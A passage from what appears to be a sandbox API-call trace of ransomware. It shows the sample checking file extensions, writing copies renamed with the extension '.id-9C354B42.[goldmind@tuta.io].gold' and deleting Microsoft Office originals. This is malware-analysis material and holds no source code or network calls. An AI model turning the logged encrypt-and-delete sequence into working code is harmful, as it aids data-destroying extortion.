lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.608] lstrlenW (lpString=".bz2") returned 4 [0115.608] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.608] lstrlenW (lpString=".7z") returned 3 [0115.608] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO") returned 65 [0115.608] lstrlenW (lpString=".dbf") returned 4 [0115.608] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO") returned 65 [0115.608] lstrlenW (lpString=".1cd") returned 4 [0115.608] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO") returned 65 [0115.608] lstrlenW (lpString=".jpg") returned 4 [0115.608] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.608] lstrcmpiW (lpString1=".CFG", lpString2=".gold") returned -1 [0115.608] lstrlenW (lpString="RSSITEM.CFG") returned 11 [0115.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitem.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0115.609] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=788) returned 1 [0115.609] CloseHandle (hObject=0x188) returned 1 [0115.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitem.cfg")) returned 0x20 [0115.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitem.cfg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitem.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0115.610] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.610] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitem.cfg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0115.611] GetLastError () returned 0x0 [0115.611] ReadFile (in: hFile=0x188, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x314, lpOverlapped=0x0) returned 1 [0115.713] WriteFile (in: hFile=0x3d4, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x320, lpOverlapped=0x0) returned 1 [0115.714] ReadFile (in: hFile=0x188, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.714] WriteFile (in: hFile=0x3d4, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xea, lpOverlapped=0x0) returned 1 [0115.714] SetEndOfFile (hFile=0x3d4) returned 1 [0115.714] CloseHandle (hObject=0x3d4) returned 1 [0115.715] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.715] SetEndOfFile (hFile=0x188) returned 1 [0115.716] CloseHandle (hObject=0x188) returned 1 [0115.716] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.726] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitem.cfg")) returned 1 [0115.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG") returned 65 [0115.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG") returned 65 [0115.771] lstrlenW (lpString=".doc") returned 4 [0115.771] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0115.771] lstrlenW (lpString=".docx") returned 5 [0115.771] lstrcmpiW (lpString1=".docx", lpString2="M.CFG") returned -1 [0115.771] lstrlenW (lpString=".pdf") returned 4 [0115.771] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0115.771] lstrlenW (lpString=".xls") returned 4 [0115.771] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0115.771] lstrlenW (lpString=".xlsx") returned 5 [0115.771] lstrcmpiW (lpString1=".xlsx", lpString2="M.CFG") returned -1 [0115.771] lstrlenW (lpString=".ppt") returned 4 [0115.771] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0115.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG") returned 65 [0115.771] lstrlenW (lpString=".zip") returned 4 [0115.771] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0115.771] lstrlenW (lpString=".rar") returned 4 [0115.771] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0115.771] lstrlenW (lpString=".bz2") returned 4 [0115.771] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0115.771] lstrlenW (lpString=".7z") returned 3 [0115.771] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0115.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG") returned 65 [0115.771] lstrlenW (lpString=".dbf") returned 4 [0115.771] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0115.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG") returned 65 [0115.771] lstrlenW (lpString=".1cd") returned 4 [0115.771] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0115.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG") returned 65 [0115.771] lstrlenW (lpString=".jpg") returned 4 [0115.771] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0115.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG") returned 65 [0115.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG") returned 65 [0115.772] lstrlenW (lpString=".doc") returned 4 [0115.772] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0115.772] lstrlenW (lpString=".docx") returned 5 [0115.772] lstrcmpiW (lpString1=".docx", lpString2="M.CFG") returned -1 [0115.772] lstrlenW (lpString=".pdf") returned 4 [0115.772] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0115.772] lstrlenW (lpString=".xls") returned 4 [0115.772] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0115.772] lstrlenW (lpString=".xlsx") returned 5 [0115.772] lstrcmpiW (lpString1=".xlsx", lpString2="M.CFG") returned -1 [0115.772] lstrlenW (lpString=".ppt") returned 4 [0115.772] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0115.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG") returned 65 [0115.772] lstrlenW (lpString=".zip") returned 4 [0115.772] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0115.772] lstrlenW (lpString=".rar") returned 4 [0115.772] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0115.772] lstrlenW (lpString=".bz2") returned 4 [0115.772] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0115.772] lstrlenW (lpString=".7z") returned 3 [0115.772] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0115.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG") returned 65 [0115.772] lstrlenW (lpString=".dbf") returned 4 [0115.772] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0115.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG") returned 65 [0115.772] lstrlenW (lpString=".1cd") returned 4 [0115.772] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0115.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG") returned 65 [0115.772] lstrlenW (lpString=".jpg") returned 4 [0115.772] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0115.772] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0115.772] lstrlenW (lpString="SCDRESNL.ICO") returned 12 [0115.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresnl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0115.773] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1078) returned 1 [0115.773] CloseHandle (hObject=0x3d4) returned 1 [0115.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresnl.ico")) returned 0x20 [0115.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresnl.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresnl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0115.773] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.773] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresnl.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0115.774] GetLastError () returned 0x0 [0115.774] ReadFile (in: hFile=0x3d4, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x436, lpOverlapped=0x0) returned 1 [0115.793] WriteFile (in: hFile=0x3f8, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x440, lpOverlapped=0x0) returned 1 [0115.794] ReadFile (in: hFile=0x3d4, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.794] WriteFile (in: hFile=0x3f8, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.794] SetEndOfFile (hFile=0x3f8) returned 1 [0115.794] CloseHandle (hObject=0x3f8) returned 1 [0115.794] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.794] SetEndOfFile (hFile=0x3d4) returned 1 [0115.795] CloseHandle (hObject=0x3d4) returned 1 [0115.796] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.841] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresnl.ico")) returned 1 [0115.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO") returned 66 [0115.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO") returned 66 [0115.841] lstrlenW (lpString=".doc") returned 4 [0115.841] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.841] lstrlenW (lpString=".docx") returned 5 [0115.841] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0115.841] lstrlenW (lpString=".pdf") returned 4 [0115.841] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.841] lstrlenW (lpString=".xls") returned 4 [0115.841] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.841] lstrlenW (lpString=".xlsx") returned 5 [0115.841] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0115.842] lstrlenW (lpString=".ppt") returned 4 [0115.842] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO") returned 66 [0115.842] lstrlenW (lpString=".zip") returned 4 [0115.842] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.842] lstrlenW (lpString=".rar") returned 4 [0115.842] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.842] lstrlenW (lpString=".bz2") returned 4 [0115.842] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.842] lstrlenW (lpString=".7z") returned 3 [0115.842] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO") returned 66 [0115.842] lstrlenW (lpString=".dbf") returned 4 [0115.842] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO") returned 66 [0115.842] lstrlenW (lpString=".1cd") returned 4 [0115.842] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO") returned 66 [0115.842] lstrlenW (lpString=".jpg") returned 4 [0115.842] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO") returned 66 [0115.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO") returned 66 [0115.842] lstrlenW (lpString=".doc") returned 4 [0115.842] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.842] lstrlenW (lpString=".docx") returned 5 [0115.842] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0115.842] lstrlenW (lpString=".pdf") returned 4 [0115.842] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.842] lstrlenW (lpString=".xls") returned 4 [0115.842] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.842] lstrlenW (lpString=".xlsx") returned 5 [0115.842] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0115.842] lstrlenW (lpString=".ppt") returned 4 [0115.842] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO") returned 66 [0115.842] lstrlenW (lpString=".zip") returned 4 [0115.842] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.842] lstrlenW (lpString=".rar") returned 4 [0115.842] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.842] lstrlenW (lpString=".bz2") returned 4 [0115.842] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.842] lstrlenW (lpString=".7z") returned 3 [0115.842] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO") returned 66 [0115.842] lstrlenW (lpString=".dbf") returned 4 [0115.842] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO") returned 66 [0115.842] lstrlenW (lpString=".1cd") returned 4 [0115.842] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO") returned 66 [0115.842] lstrlenW (lpString=".jpg") returned 4 [0115.842] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.843] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0115.843] lstrlenW (lpString="SCDRESPS.ICO") returned 12 [0115.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresps.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0115.843] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=2998) returned 1 [0115.843] CloseHandle (hObject=0x398) returned 1 [0115.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresps.ico")) returned 0x20 [0115.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresps.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresps.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0115.844] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.844] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresps.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0115.845] GetLastError () returned 0x0 [0115.845] ReadFile (in: hFile=0x398, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0115.866] WriteFile (in: hFile=0x198, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0115.867] ReadFile (in: hFile=0x398, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.867] WriteFile (in: hFile=0x198, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.867] SetEndOfFile (hFile=0x198) returned 1 [0115.867] CloseHandle (hObject=0x198) returned 1 [0115.867] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.867] SetEndOfFile (hFile=0x398) returned 1 [0115.869] CloseHandle (hObject=0x398) returned 1 [0115.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.869] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresps.ico")) returned 1 [0115.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO") returned 66 [0115.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO") returned 66 [0115.870] lstrlenW (lpString=".doc") returned 4 [0115.870] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.870] lstrlenW (lpString=".docx") returned 5 [0115.870] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0115.870] lstrlenW (lpString=".pdf") returned 4 [0115.870] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.870] lstrlenW (lpString=".xls") returned 4 [0115.870] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.870] lstrlenW (lpString=".xlsx") returned 5 [0115.870] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0115.870] lstrlenW (lpString=".ppt") returned 4 [0115.870] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO") returned 66 [0115.870] lstrlenW (lpString=".zip") returned 4 [0115.870] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.870] lstrlenW (lpString=".rar") returned 4 [0115.871] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.871] lstrlenW (lpString=".bz2") returned 4 [0115.871] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.871] lstrlenW (lpString=".7z") returned 3 [0115.871] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO") returned 66 [0115.871] lstrlenW (lpString=".dbf") returned 4 [0115.871] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO") returned 66 [0115.871] lstrlenW (lpString=".1cd") returned 4 [0115.871] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO") returned 66 [0115.871] lstrlenW (lpString=".jpg") returned 4 [0115.871] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO") returned 66 [0115.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO") returned 66 [0115.871] lstrlenW (lpString=".doc") returned 4 [0115.871] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.871] lstrlenW (lpString=".docx") returned 5 [0115.871] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0115.871] lstrlenW (lpString=".pdf") returned 4 [0115.871] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.871] lstrlenW (lpString=".xls") returned 4 [0115.871] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.871] lstrlenW (lpString=".xlsx") returned 5 [0115.871] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0115.871] lstrlenW (lpString=".ppt") returned 4 [0115.871] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO") returned 66 [0115.871] lstrlenW (lpString=".zip") returned 4 [0115.871] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.871] lstrlenW (lpString=".rar") returned 4 [0115.871] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.871] lstrlenW (lpString=".bz2") returned 4 [0115.871] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.871] lstrlenW (lpString=".7z") returned 3 [0115.871] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO") returned 66 [0115.871] lstrlenW (lpString=".dbf") returned 4 [0115.871] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO") returned 66 [0115.871] lstrlenW (lpString=".1cd") returned 4 [0115.871] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.871] 